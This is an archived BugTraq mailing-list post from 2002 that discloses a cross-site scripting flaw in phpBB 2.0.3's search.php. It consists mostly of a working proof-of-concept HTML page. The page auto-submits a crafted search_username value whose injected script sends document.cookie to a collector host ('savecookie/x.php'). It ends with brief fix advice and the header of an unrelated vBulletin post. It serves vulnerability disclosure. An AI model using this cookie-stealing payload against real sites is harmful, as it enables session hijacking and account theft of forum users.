BugTraq
Cross-site Scripting Vulnerability in phpBB 2.0.3 Dec 03 2002 08:09PM
Fabricio Angeletti (f_a_a yahoo com) (1 replies)
Hello :)

here is the code
----------------
<html>
<body>
<form method="post" name="search"
action="http://target/search.php?mode=searchuser">
<input type="hidden" name="search_username" value=""/>

</form>
<SCRIPT>
search.search_username.value='Http://savecookie/x.php?Cookie="><script>l
ocation=search.search_username.value+document.cookie;</script\>';
document.search.submit();
</script>
</body>
</html>
------------
work for me using, IE 6 sp 1 (xp)

maybe you can do this in a better way but, this
example work realy fine

the problem is search.php when show search_username u
can put anything with a few restrictions

solution:
1 Don't show the last entry or something like that
2 filter the code :p

Bye

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[ reply ]
Input Validation Error in vbulletin 2.2.x Dec 08 2002 04:01AM
Dorin Balanica (dorin bados com)


 

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